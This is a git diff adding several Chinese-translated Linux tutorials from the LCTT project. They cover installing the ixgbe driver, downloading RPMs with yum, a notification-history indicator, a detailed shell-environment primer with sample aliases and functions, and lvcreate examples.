InterruptThrottleRate:Maximum interrupts per second, per vector, (0,1,956-488281), default 1 (array of int) + parm: LLIPort:Low Latency Interrupt TCP Port (0-65535) (array of int) + parm: LLIPush:Low Latency Interrupt on TCP Push flag (0,1) (array of int) + parm: LLISize:Low Latency Interrupt on Packet Size (0-1500) (array of int) + parm: LLIEType:Low Latency Interrupt Ethernet Protocol Type (array of int) + parm: LLIVLANP:Low Latency Interrupt on VLAN priority threshold (array of int) + parm: FdirPballoc:Flow Director packet buffer allocation level: + 1 = 8k hash filters or 2k perfect filters + 2 = 16k hash filters or 4k perfect filters + 3 = 32k hash filters or 8k perfect filters (array of int) + parm: AtrSampleRate:Software ATR Tx packet sample rate (array of int) + parm: FCoE:Disable or enable FCoE Offload, default 1 (array of int) + parm: LRO:Large Receive Offload (0,1), default 1 = on (array of int) + parm: allow_unsupported_sfp:Allow unsupported and untested SFP+ modules on 82599 based adapters, default 0 = Disable (array of int) + +### 第四步: 测试Ixgbe驱动 ### + +在测试新的模块之前,如果你内核中已存在旧版本ixgbe模块的话你需要先移除它。 + + $ sudo rmmod ixgbe + +接着使用insmod命令插入新编译的ixgbe模块。确保指定一个模块的绝对路径。 + + $ sudo insmod ./ixgbe.ko + +如果上面的命令成功运行,就不会显示任何的信息。 + +如果你需要,你可以尝试加入额外的参数。比如,设置RSS的队列数量为16: + + $ sudo insmod ./ixgbe.ko RSS=16 + +检查**/var/log/kern.log**来查看ixgbe驱动是否成功激活。查看日志中的“Intel(R) 10 Gigabit PCI Express Network Driver”。ixgbe的版本信息应该和之前的modinfo的显示应该相同。 + + Sep 18 14:48:52 spongebob kernel: [684717.906254] Intel(R) 10 Gigabit PCI Express Network Driver - version 3.22.3 + +![](https://farm8.staticflickr.com/7583/16056721867_f06e152076_c.jpg) + +### 第五步: 安装Ixgbe驱动 ### + +一旦你验证新的ixgbe驱动可以成功加载,最后一步是在你的系统中安装驱动。 + + $ sudo make install + +**ixgbe.ko** 会安装在/lib/modules//kernel/drivers/net/ethernet/intel/ixgbe 下。 + +从这一步起,你可以用下面的modprobe命令加载ixgbe驱动了。注意你不必再指定绝对路径。 + + $ sudo modprobe ixgbe + +如果你希望在启动时加载ixgbe驱动,你可以在/etc/modules的最后加入“ixgbe”。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/download-install-ixgbe-driver-ubuntu-debian.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://sourceforge.net/projects/e1000/files/ixgbe%20stable/ diff --git a/published/201503/20150122 Linux FAQs with Answers--How to use yum to download a RPM package without installing it.md b/published/201503/20150122 Linux FAQs with Answers--How to use yum to download a RPM package without installing it.md new file mode 100644 index 0000000000..e83de0ff93 --- /dev/null +++ b/published/201503/20150122 Linux FAQs with Answers--How to use yum to download a RPM package without installing it.md @@ -0,0 +1,56 @@ +Linux 有问必答:如何使用yum来下载RPM包而不进行安装 +================================================================================ +> **问题**:我想从Red Hat 的标准仓库中下载一个RPM包,我能使用yum命令来下载一个RPM包但是不进行安装吗? + +yum是基于Red Hat的系统(如CentOS、Fedora、RHEl)上的默认包管理器。使用yum,你可以安装或者更新一个RPM包,并且他会自动解决包依赖关系。但是如果你只想将一个RPM包下载到你的系统上该怎么办呢? 例如,你可能想要获取一些RPM包在以后使用,或者将他们安装在另外的机器上。 + +这里说明了如何从yum仓库上下载一个RPM包。 + +### 方法一:yum### + +yum命令本身就可以用来下载一个RPM包,标准的yum命令提供了`--downloadonly(只下载)`的选项来达到这个目的。 + + $ sudo yum install --downloadonly + +默认情况下,一个下载的RPM包会保存在下面的目录中: + + /var/cache/yum/x86_64/[centos/fedora-version]/[repository]/packages + +以上的[repository]表示下载包的来源仓库的名称(例如:base、fedora、updates) + +如果你想要将一个包下载到一个指定的目录(如/tmp): + + $ sudo yum install --downloadonly --downloaddir=/tmp + +注意,如果下载的包包含了任何没有满足的依赖关系,yum将会把所有的依赖关系包下载,但是都不会被安装。 + +另外一个重要的事情是,在CentOS/RHEL 6或更早期的版本中,你需要安装一个单独yum插件(名称为 yum-plugin-downloadonly)才能使用`--downloadonly`命令选项: + + $ sudo yum install yum-plugin-downloadonly + +如果没有该插件,你会在使用yum时得到以下错误: + + Command line error: no such option: --downloadonly + +![](https://farm9.staticflickr.com/8627/15571201803_38390aae75_c.jpg) + +### 方法二: Yumdownloader### + +另外一个下载RPM包的方法就是通过一个专门的包下载工具--yumdownloader。 这个工具是yum工具包(包含了用来进行yum包管理的帮助工具套件)的子集。 + + $ sudo yum install yum-utils + +下载一个RPM包: + + $ sudo yumdownloader + +下载的包会被保存在当前目录中。你需要使用root权限,因为yumdownloader会在下载过程中更新包索引文件。与yum命令不同的是,任何依赖包不会被下载。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/yum-download-rpm-package.html + +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201503/20150123 Keep History Of Notifications With Recent Notifications AppIndicator.md b/published/201503/20150123 Keep History Of Notifications With Recent Notifications AppIndicator.md new file mode 100644 index 0000000000..4437f991b9 --- /dev/null +++ b/published/201503/20150123 Keep History Of Notifications With Recent Notifications AppIndicator.md @@ -0,0 +1,40 @@ +使用“最近通知工具”保持桌面通知历史 +================================================================================ +![How to see recent notifications in Ubuntu 14.04](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/recent_notifications_Ubuntu_14.jpeg) + +大多数桌面环境像Unity和Gnome都有通知特性。我很喜欢其中一些。它尤其当我[在Ubuntu上收听流媒体][1]时帮到我。默认上通知会在桌面的顶部显示几秒接着就会消失。如果你听见了通知的声音但是没有看到内容怎么办?你该如何知道通知的内容? + +如果你可以看到最近所有通知的历史会很棒吧?是的,我知道这很棒。你可以在Ubuntu Unity或者Gnome中使用最近**通知小工具**来追踪所有的最近通知。 + +最近通知位于顶部面板,并且记录了最近所有通知的历史。当它捕获到新的通知后,它就会变绿来表明你有未读的通知。 + +![Recent notifications in Ubuntu 14.04](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/recent_notifications_Ubuntu.jpeg) + +当你点击它后,你就会看到最近所有的通知。你可以选择清空所有或者删除部分。 + +![Recent notifications applet indicator](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/recent_notifications_Ubuntu_1.jpeg) + +不幸的是它没有配置选项。因此你不能屏蔽特定程序的通知。所有的通知都会被保存。 + +### 在Ubuntu 14.04 和 14.10 中安装最近通知工具 ### + +一般说来这个最近通知工具应该也可以在Linux Mint Cinnamon版本中运行。你可以试一试。使用下面的命令来在在Ubuntu 14.04 和 14.10 中安装最近通知工具: + + sudo add-apt-repository ppa:jconti/recent-notifications + sudo apt-get update + sudo apt-get install indicator-notifications + +安装完成后,重新登录后你就可以用了。现在妈妈再也不用担心我的通知没看到了。很方便的小工具,不是么? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/notifications-appindicator/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://itsfoss.com/apps-internet-streaming-radio-ubuntu/ \ No newline at end of file diff --git a/published/201503/20150125 A Shell Primer--Master Your Linux OS X Unix Shell Environment.md b/published/201503/20150125 A Shell Primer--Master Your Linux OS X Unix Shell Environment.md new file mode 100644 index 0000000000..2dc0d43263 --- /dev/null +++ b/published/201503/20150125 A Shell Primer--Master Your Linux OS X Unix Shell Environment.md @@ -0,0 +1,697 @@ +Shell入门:掌握Linux,OS X,Unix的Shell环境 +================================================================================ +在Linux或类Unix系统中,每个用户和进程都运行在一个特定环境中。这个环境包含了变量、设置、别名、函数以及更多的东西。下面是对Shell环境下一些常用命令的简单介绍,包括每个命令如何使用的例子,以及在命令行下设定你自己的环境来提高效率。 + +![](http://s0.cyberciti.org/uploads/cms/2015/01/bash-shell-welcome-image.jpg) + +### 找出你当前的shell ### + +在终端应用中输入下面命令中的任意一个: + + ps $$ + ps -p $$ + +或者 + + echo "$0" + +输出范例: + +[![图1: Finding out your shell name](http://s0.cyberciti.org/uploads/cms/2015/01/finding-your-shell-like-a-pro.jpg)][1] + +*图1:找出当前的shell* + +### 找出所有已安装的shell ### + +找到已安装shell的完整路径: + + type -a zsh + type -a ksh + type -a sh + type -a bash + +输出范例: + +[![Fig.02: Finding out your shell path](http://s0.cyberciti.org/uploads/cms/2015/01/finding-and-verifying-shell-path.jpg)][2] + +*图2:找出shell的路径* + +文件/etc/shells里包含了系统所支持的shell列表。每一行代表一个shell,是相对根目录的完整路径。用这个[cat命令][3]来查看这些数据: + + cat /etc/shells + +输出范例: + + # List of acceptable shells for chpass(1). + # Ftpd will not allow users to connect who are not using + # one of these shells. + + /bin/bash + /bin/csh + /bin/ksh + /bin/sh + /bin/tcsh + /bin/zsh + /usr/local/bin/fish + +### 临时改变当前shell ### + +只需要输入shell的名字。在下面的例子里,我从bash切换到了zsh: + + zsh + +这只是临时改变了系统shell。也叫做子shell。要从子/临时shell退出,输入下面的命令或者按下CTRL-D: + + exit + +### 找出子shell的层级或临时shell的嵌套层级 ### + +每个bash实例启动后,变量$SHLVL的值都会加一。输入下面的命令: + + echo "$SHLVL" + +示例输出: + +[![Fig. 03: Bash shell nesting level (subshell numbers)](http://s0.cyberciti.org/uploads/cms/2015/01/a-nested-shell-level-command.jpg)][4] + +*图3:Bash shell嵌套层级(子shell数目)* + +### 通过chsh命令永久变更系统shell ### + +想要把当前系统shell从bash永久换成zsh?试试这个: + + chsh -s /bin/zsh + +想把其他用户的shell从bash永久换成ksh?试试这个: + + sudo chsh -s /bin/ksh userNameHere + +### 查看当前的环境变量 ### + +你需要用到: + + env + env | more + env | less + env | grep 'NAME' + +示例输出: + + TERM_PROGRAM=Apple_Terminal + SHELL=/bin/bash + TERM=xterm-256color + TMPDIR=/var/folders/6x/45252d6j1lqbtyy_xt62h40c0000gn/T/ + Apple_PubSub_Socket_Render=/tmp/launch-djaOJg/Render + TERM_PROGRAM_VERSION=326 + TERM_SESSION_ID=16F470E3-501C-498E-B315-D70E538DA825 + USER=vivek + SSH_AUTH_SOCK=/tmp/launch-uQGJ2h/Listeners + __CF_USER_TEXT_ENCODING=0x1F5:0:0 + PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/X11/bin:/usr/local/go/bin:/usr/local/sbin/modemZapp:/Users/vivek/google-cloud-sdk/bin + __CHECKFIX1436934=1 + PWD=/Users/vivek + SHLVL=2 + HOME=/Users/vivek + LOGNAME=vivek + LC_CTYPE=UTF-8 + DISPLAY=/tmp/launch-6hNAhh/org.macosforge.xquartz:0 + _=/usr/bin/env + OLDPWD=/Users/vivek + +下面是bash shell里一些常见变量的列表: + +![Fig.04: Common bash environment variables](http://s0.cyberciti.org/uploads/cms/2015/01/common-shell-vars.jpg) + +*图4:常见bash环境变量* + +> **注意**:下面这些环境变量没事不要乱改。很可能会造成不稳定的shell会话: +> +> SHELL +> +> UID +> +> RANDOM +> +> PWD +> +> PPID +> +> SSH_AUTH_SOCK +> +> USER +> +> HOME +> +> LINENO + +### 显示环境变量的值 ### + +使用下面任意一条命令显示环境变量HOME的值: + + ## 使用printenv ## + printenv HOME + + ## 或者用echo ## + echo "$HOME" + + # 考虑到可移植性,也可以用printf ## + printf "%s\n" "$HOME" + +示例输出: + + /home/vivek + +### 增加或设定一个新环境变量 ### + +下面是bash,zsh,sh和ksh的语法: + + ## 语法 ## + VAR=value + FOO=bar + + ## 设定vim为默认文本编辑器 ## + EDITOR=vim + export $EDITOR + + ## 考虑安全性,设定默认shell连接超时时间 ## + TMOUT=300 + export TMOUT + + ## 你可以直接使用export命令设定命令的搜素路径 ## + export PATH=$PATH:$HOME/bin:/usr/local/bin:/path/to/mycoolapps + +然后,使用printenv或者echo或printf命令查看环境变量PATH,EDITOR,和TMOUT的值: + + printenv PATH + echo "$EDITOR" + printf "%s\n" $TMOUT + +### 怎么修改一个现有的环境变量? ### + +下面是语法: + + export VAR=value + ## 或者 ## + VAR=value + export $VAR + + ## 把默认文本编辑器从vim改为emacs ## + echo "$EDITOR" ## <--- 屏幕输出vim + EDITOR=emacs ## <--- 修改 + export $EDITOR ## <--- 让修改在其他会话生效 + echo "$EDITOR" ## <--- 屏幕输出emacs + +**tcsh shell下增加和修改变量**的语法是下面这样的: + + ## 语法 + setenv var value + printenv var + + ## 设置变量foo的值为bar ## + setenv foo bar + echo "$foo" + printenv foo + + ## 设置变量PATH ## + setenv PATH $PATH\:$HOME/bin + echo "$PATH" + + ## 设置变量PAGER ## + setenv PAGER most + printf "%s\n" $PAGER + +### 找出bash shell的配置文件 ### + +用下面的命令列出bash shell的文件: + + ls -l ~/.bash* ~/.profile /etc/bash* /etc/profile + +示例输出: + +[![Fig.05: List all bash environment configuration files](http://s0.cyberciti.org/uploads/cms/2015/01/list-bash-enviroment-variables.jpg)][5] + +*图5:列出bash的所有配置文件* + +要查看所有的bash配置文件,输入: + + less ~/.bash* ~/.profile /etc/bash* /etc/profile + +可以使用文字编辑器比如vim或emacs来一个一个编辑bash配置文件: + + vim ~/.bashrc + +编辑/etc/目录下的文件,输入: + + ## 首先是备份,以防万一 + sudo cp -v /etc/bashrc /etc/bashrc.bak.22_jan_15 + + ######################################################################## + ## 然后,随心所欲随便改吧,好好玩玩shell环境或者提高一下效率:) ## + ######################################################################## + sudo vim /etc/bashrc + +### 被Bash shell初始化过程中应用的文件搞糊涂了吗? ### + +下面的"bash初始化文件"流程图应该有些帮助: + +![](http://s0.cyberciti.org/uploads/cms/2015/01/BashStartupfiles.jpg) + +根据账户设定的默认shell,你的用户配置或系统配置可能是下面其中一种: + +### 找出zsh shell配置文件 ### + +zsh的[wiki][6]中建议用下面的命令: + + strings =zsh | grep zshrc + +示例输出: + + /etc/zshrc + .zshrc + +输入下面的命令列出你的zsh shell文件: + + ls -l /etc/zsh/* /etc/profile ~/.z* + +查看所有zsh配置文件: + + less /etc/zsh/* /etc/profile ~/.z* + +### 找出ksh shell配置文件 ### + +1. 查看~/.profile或者/etc/profile文件。 + +### 找出tcsh shell配置文件 ### + +1. C shell查看~/.login,~/.cshrc文件。 +2. TC shell查看~/.tcshrc和~/.cshrc文件。 + +### 我可以写个类似这样每次登录时都自动执行的脚本吗? ### + +是的,把你的命令或别名或其他设定添加到~/.bashrc(bash shell)或者~/.profile(sh/ksh/bash)或者~/.login(csh/tcsh)文件中。 + +### 我可以写个类似这样每次登出都自动执行的脚本吗? ### + +是的,把你的命令或别名或其他设定添加到~/.bash_logout(bash)或者~/.logout(csh/tcsh)文件。 + +### history:获取关于shell会话的更多信息 ### + +输入history命令来查看本次会话的历史: + + history + +示例输出: + + 9 ls + 10 vi advanced-cache.php + 11 cd .. + 12 ls + 13 w + 14 cd .. + 15 ls + 16 pwd + 17 ls + .... + .. + ... + 91 hddtemp /dev/sda + 92 yum install hddtemp + 93 hddtemp /dev/sda + 94 hddtemp /dev/sg0 + 95 hddtemp /dev/sg1 + 96 smartctl -d ata -A /dev/sda | grep -i temperature + 97 smartctl -d ata -A /dev/sg1 | grep -i temperature + 98 smartctl -A /dev/sg1 | grep -i temperature + 99 sensors + +输入history 20来查看命令历史的后20条: + + history 20 + +示例输出: + +[![Fig.06: View session history in the bash shell using history command](http://s0.cyberciti.org/uploads/cms/2015/01/history-outputs.jpg)][7] + +*图6:在bash shell中使用history命令查看会话历史* + +你可以重复使用之前的命令。简单地按下[上]或[下]方向键就可以查看之前的命令。在shell提示符下按下[CTRL-R]可以向后搜索历史缓存或文件来查找命令。重复最后一次命令,只需要在shell提示符下输入!!就好了: + + ls -l /foo/bar + !! + +在以上的历史记录中找到命令#93 (hddtemp /dev/sda),输入: + + !93 + +### 使用sudo或su改变用户 ### + +下面是语法: + + su userName + + ## 登录为tom用户 ## + su tom + + ## 为用户tom打开一个新的shell会话 ## + su tom + + ## 登录为root用户 ## + su - + + ## sudo命令语法(必须在系统中配置有这个命令) ## + sudo -s + sudo tom + +看看帖子"[Linux下使用其他用户身份运行命令][8]"更多地了解sudo,su和runuser命令。 + +### shell别名 ### + +别名仅仅是命令的一个快捷方式。 + +### 列出所有的别名 ### + +输入下面的命令: + + alias + +示例输出: + + alias ..='cd ..' + alias ...='cd ../../../' + alias ....='cd ../../../../' + alias .....='cd ../../../../' + alias .4='cd ../../../../' + alias .5='cd ../../../../..' + alias bc='bc -l' + alias cd..='cd ..' + alias chgrp='chgrp --preserve-root' + alias chmod='chmod --preserve-root' + alias chown='chown --preserve-root' + alias cp='cp -i' + alias dnstop='dnstop -l 5 eth1' + alias egrep='egrep --color=auto' + alias ethtool='ethtool eth1' + +### 设定一个别名 ### + +bash/zsh语法: + + alias c='clear' + alias down='sudo /sbin/shutdown -h now' + +对于命令clear可以输入c别名,这样我们就可以输入c代替clear命令来清空屏幕: + + c + +或者输入down来关闭基于Linux的服务器: + + down + +你可以设定任意多的别名。看下"[Linux/Unix/Mac OS X系统中的30个方便的bash shell别名][9]"了解在类Unix系统中别名的实际应用。 + +### shell函数 ### + +Bash/ksh/zsh函数允许你更进一步地配置shell环境。在这个例子中,我写了一个简单的名叫memcpu()的bash函数,用来显示前10个最占用CPU和内存的进程: + + memcpu() { echo "*** Top 10 cpu eating process ***"; ps auxf | sort -nr -k 3 | head -10; + echo "*** Top 10 memory eating process ***"; ps auxf | sort -nr -k 4 | head -10; } + +输入memcpu就可以在屏幕上看到下面的信息: + + memcpu + + *** Top 10 cpu eating process *** + nginx 39559 13.0 0.2 264020 35168 ? S 04:26 0:00 \_ /usr/bin/php-cgi + nginx 39545 6.6 0.1 216484 13088 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nginx 39471 6.2 0.6 273352 81704 ? S 04:22 0:17 \_ /usr/bin/php-cgi + nginx 39544 5.7 0.1 216484 13084 ? S 04:25 0:03 \_ /usr/bin/php-cgi + nginx 39540 5.5 0.1 221260 19296 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nginx 39542 5.4 0.1 216484 13152 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nixcraft 39543 5.3 0.1 216484 14096 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nixcraft 39538 5.2 0.1 221248 18608 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nixcraft 39539 5.0 0.1 216484 16272 ? S 04:25 0:04 \_ /usr/bin/php-cgi + nixcraft 39541 4.8 0.1 216484 14860 ? S 04:25 0:04 \_ /usr/bin/php-cgi + + *** Top 10 memory eating process *** + 498 63859 0.5 4.0 2429652 488084 ? Ssl 2014 177:41 memcached -d -p 11211 -u memcached -m 2048 -c 18288 -P /var/run/memcached/memcached.pid -l 10.10.29.68 -L + mysql 64221 4.2 3.4 4653600 419868 ? Sl 2014 1360:40 \_ /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/log/mysqld.log --open-files-limit=65535 --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/lib/mysql/mysql.sock + nixcraft 39418 0.4 1.1 295312 138624 ? S 04:17 0:02 | \_ /usr/bin/php-cgi + nixcraft 39419 0.5 0.9 290284 113036 ? S 04:18 0:02 | \_ /usr/bin/php-cgi + nixcraft 39464 0.7 0.8 294356 99200 ? S 04:20 0:02 | \_ /usr/bin/php-cgi + nixcraft 39469 0.3 0.7 288400 91256 ? S 04:20 0:01 | \_ /usr/bin/php-cgi + nixcraft 39471 6.2 0.6 273352 81704 ? S 04:22 0:17 \_ /usr/bin/php-cgi + vivek 39261 2.2 0.6 253172 82812 ? S 04:05 0:28 \_ /usr/bin/php-cgi + squid 9995 0.0 0.5 175152 72396 ? S 2014 27:00 \_ (squid) -f /etc/squid/squid.conf + cybercit 3922 0.0 0.4 303380 56304 ? S Jan10 0:13 | \_ /usr/bin/php-cgi + +看下"[如何编写和应用shell函数][10]"了解更多信息。 + +### 综合一下:定制你自己的Linux或Unix bash shell工作环境 ### + +现在,你将使用bash shell配置自己的环境。我只介绍bash。但是理论上zsh,ksh和其他常用shell都差不多。让我们看看如何调整shell来适合我作为系统管理员的需求。编辑你的~/.bashrc文件来附加设定。下面是一些常用的配置选项。 + +#### #1: 设定bash路径和环境变量 #### + + # 设定路径 ## + export PATH=$PATH:/usr/local/bin:/home/vivek/bin:/opt/firefox/bin:/opt/oraapp/bin + + # 为cd命令设定路径 + export CDPATH=.:$HOME:/var/www + +使用less或more命令作为翻页器: + + export PAGER=less + +设定vim作为默认文本编辑器: + + export EDITOR=vim + export VISUAL=vim + export SVN_EDITOR="$VISUAL" + +设定Oracle数据库特别要求的参数: + + export ORACLE_HOME=/usr/lib/oracle/xe/app/oracle/product/10.2.0/server + export ORACLE_SID=XE + export NLS_LANG=$($ORACLE_HOME/bin/nls_lang.sh) + +设定JAVA_HOME和其他java路径,比如java版本: + + export JAVA_HOME=/usr/lib/jvm/java-6-sun/jre + + # 把ORACLE和JAVA加入到PATH里 + export PATH=$PATH:$ORACLE_HOME/bin:$JAVA_HOME/bin + +[使用密钥实现免密码登录][11]让ssh远程登录更安全: + + # 再也不用输密码了 + /usr/bin/keychain $HOME/.ssh/id_rsa + source $HOME/.keychain/$HOSTNAME-sh + +最后,[打开bash命令补齐][12] + + source /etc/bash_completion + +#### #2: 设定bash命令提示符 #### + +设定[定制的bash提示符(PS1)][13]: + + PS1='{\u@\h:\w }\$ ' + +#### #3: 设定默认文件权限 #### + + ## 设定默认权限为644 ## + umask 022 + +#### #4: 调整shell命令历史设定 #### + + # 不往命令历史里写入相同的行 + HISTCONTROL=ignoreboth + + # 忽略这些命令 + HISTIGNORE="reboot:shutdown *:ls:pwd:exit:mount:man *:history" + + # 通过HISTSIZE和HISTFILESIZE设定命令历史的长度 + export HISTSIZE=10000 + export HISTFILESIZE=10000 + + # 为命令历史文件增加时间戳 + export HISTTIMEFORMAT="%F %T " + + # 附加到命令历史文件,而不是覆盖 + shopt -s histappend + +#### #5: 设定shell会话的时区 #### + + ## 为我自己的shell会话设定IST(印度标准时间) ## + TZ=Asia/Kolkata + +#### #6: 设定shell行编辑接口 #### + + ## 使用vi风格的行编辑接口,替代bash默认的emacs模式 ## + set -o vi + +#### #7: 设定自己喜好的别名 #### + + ## 增加一些保护 ## + alias rm='rm -i' + alias cp='cp -i' + alias mv='mv -i' + + ## Memcached ## + alias mcdstats='/usr/bin/memcached-tool 10.10.29.68:11211 stats' + alias mcdshow='/usr/bin/memcached-tool 10.10.29.68:11211 display' + alias mcdflush='echo "flush_all" | nc 10.10.29.68 11211' + + ## 默认命令参数 ## + alias vi='vim' + alias grep='grep --color=auto' + alias egrep='egrep --color=auto' + alias fgrep='fgrep --color=auto' + alias bc='bc -l' + alias wget='wget -c' + alias chown='chown --preserve-root' + alias chmod='chmod --preserve-root' + alias chgrp='chgrp --preserve-root' + alias rm='rm -I --preserve-root' + alias ln='ln -i' + +下面是一些额外的OS X Unix bash shell别名: + + # 从bash打开桌面应用 + alias preview="open -a '$PREVIEW'" + alias safari="open -a safari" + alias firefox="open -a firefox" + alias chrome="open -a google\ chrome" + alias f='open -a Finder ' + + # 清理那些.DS_Store文件 + alias dsclean='find . -type f -name .DS_Store -delete' + +#### #8: 寡人好色 #### + + # 彩色的grep输出 + alias grep='grep --color=auto' + export GREP_COLOR='1;33' + + # 彩色的ls + export LSCOLORS='Gxfxcxdxdxegedabagacad' + # Gnu/linux的ls + ls='ls --color=auto' + + # BSD/os x的ls命令 + # alias ls='ls -G' + +#### #9: 设定自己喜好的bash函数 #### + + # 在屏幕上显示10个最近的历史命令 + function ht { + history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head + } + + # host和ping命令的替代 + # 接受http:// 或 https:// 或 ftps:// 名称用作域或主机名 + _getdomainnameonly(){ + local h="$1" + local f="${h,,}" + # remove protocol part of hostname + f="${f#http://}" + f="${f#https://}" + f="${f#ftp://}" + f="${f#scp://}" + f="${f#scp://}" + f="${f#sftp://}" + # remove username and/or username:password part of hostname + f="${f#*:*@}" + f="${f#*@}" + # remove all /foo/xyz.html* + f=${f%%/*} + # show domain name only + echo "$f" + } + + + ping(){ + local array=( $@ ) # get all args in an array + local len=${#array[@]} # find the length of an array + local host=${array[$len-1]} # get the last arg + local args=${array[@]:0:$len-1} # get all args before the last arg in $@ in an array + local _ping="/bin/ping" + local c=$(_getdomainnameonly "$host") + [ "$t" != "$c" ] && echo "Sending ICMP ECHO_REQUEST to \"$c\"..." + # pass args and host + $_ping $args $c + } + + host(){ + local array=( $@ ) + local len=${#array[@]} + local host=${array[$len-1]} + local args=${array[@]:0:$len-1} + local _host="/usr/bin/host" + local c=$(_getdomainnameonly "$host") + [ "$t" != "$c" ] && echo "Performing DNS lookups for \"$c\"..." + $_host $args $c + } + +#### #10: 通过shell shopt命令设定bash shell行为 #### + +最后,你可以[使用set和shopt命令调整bash shell环境][14]: + + # 目录拼写纠正 + shopt -q -s cdspell + + # 保证每次终端窗口改变大小后会更新显示 + shopt -q -s checkwinsize + + # 打开高级模式匹配功能 + shopt -q -s extglob + + # 退出时附加命令历史而不是覆盖 + shopt -s histappend + + # 在命令历史使用多行 + shopt -q -s cmdhist + + # 在后台任务结束时立刻通知 + set -o notify + + # 禁用[CTRL-D]来结束shell + set -o ignoreeof + +### 总结 ### + +这个帖子不难理解。它简短地将如何定制用户环境从头介绍了一下。要深入了解bash/ksh/zsh/csh/tcsh/的能力,我建议你用下面的命令阅读man文档: + + man bash + man zsh + man tcsh + man ksh + +> 这篇文章由Aadrika T. J.贡献;由admin编辑并增加了额外内容。你也可以[为nixCraft做出贡献][15]。 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/ + +作者:[nixCraft][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/attachment/finding-your-shell-like-a-pro/ +[2]:http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/attachment/finding-and-verifying-shell-path/ +[3]:http://www.cyberciti.biz/faq/linux-unix-appleosx-bsd-cat-command-examples/ +[4]:http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/attachment/a-nested-shell-level-command/ +[5]:http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/attachment/list-bash-enviroment-variables/ +[6]:http://zshwiki.org/home/config/files +[7]:http://www.cyberciti.biz/howto/shell-primer-configuring-your-linux-unix-osx-environment/attachment/history-outputs/ +[8]:http://www.cyberciti.biz/open-source/command-line-hacks/linux-run-command-as-different-user/ +[9]:http://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html +[10]:http://bash.cyberciti.biz/guide/Chapter_9:_Functions +[11]:http://www.cyberciti.biz/faq/ssh-passwordless-login-with-keychain-for-scripts/ +[12]:http://www.cyberciti.biz/faq/fedora-redhat-scientific-linuxenable-bash-completion/ +[13]:http://www.cyberciti.biz/tips/howto-linux-unix-bash-shell-setup-prompt.html +[14]:http://bash.cyberciti.biz/guide/Setting_shell_options +[15]:http://www.cyberciti.biz/write-for-nixcraft/ diff --git a/published/201503/20150126 4 lvcreate Command Examples on Linux.md b/published/201503/20150126 4 lvcreate Command Examples on Linux.md new file mode 100644 index 0000000000..0da451aef2 --- /dev/null +++ b/published/201503/20150126 4 lvcreate Command Examples on Linux.md @@ -0,0 +1,88 @@ +4 个 lvcreate 常用命令举例 +================================================================================ +逻辑卷管理(LVM)是广泛使用的技术,并拥有极其灵活磁盘管理方案。主要包含3个基础命令: + +1. 创建物理卷使用**pvcreate** +2. 创建卷组并给卷组增加分区**vgcreate** +3. 创建新的逻辑卷使用**lvcreate** + +![](http://www.ehowstuff.com/wp-content/uploads/2015/01/lvm-diagram1.jpg) + +下列例子主要讲述在已经存在的卷组上使用**lvcreate**创建逻辑卷。**lvcreate**命令可以在卷组的可用物理扩展池中分配逻辑扩展。通常,逻辑卷可以随意使用底层逻辑卷上的任意空间。修改逻辑卷将释放或重新分配物理卷的空间。这些例子已经在CentOS 5, CentOS 6, CentOS 7, RHEL 5, RHEl 6 和 RHEL 7 版本中测试通过。 + +### 4个lvcreate命令例子 ### + +1. 在名为vg_newlvm的卷组中创建15G大小的逻辑卷: + + [root@centos7 ~]# lvcreate -L 15G vg_newlvm + +2. 在名为vg_newlvm的卷组中创建大小为2500MB的逻辑卷,并命名为centos7_newvol,这样就创建了块设备/dev/vg_newlvm/centos7_newvol: + + [root@centos7 ~]# lvcreate -L 2500 -n centos7_newvol vg_newlvm + +3. 可以使用**lvcreate**命令的参数-l来指定逻辑卷扩展的大小。也可以使用这个参数以卷组的大小百分比来扩展逻辑卷。这下列的命令创建了centos7_newvol卷组的50%大小的逻辑卷vg_newlvm: + + [root@centos7 ~]# lvcreate -l 50%VG -n centos7_newvol vg_newlvm + +4. 使用卷组剩下的所有空间创建逻辑卷 + + [root@centos7 ~]# lvcreate --name centos7_newvol -l 100%FREE vg_newlvm + +更多帮助,使用**lvcreate**命令--help选项来查看: + + [root@centos7 ~]# lvcreate --help + +---------- + + 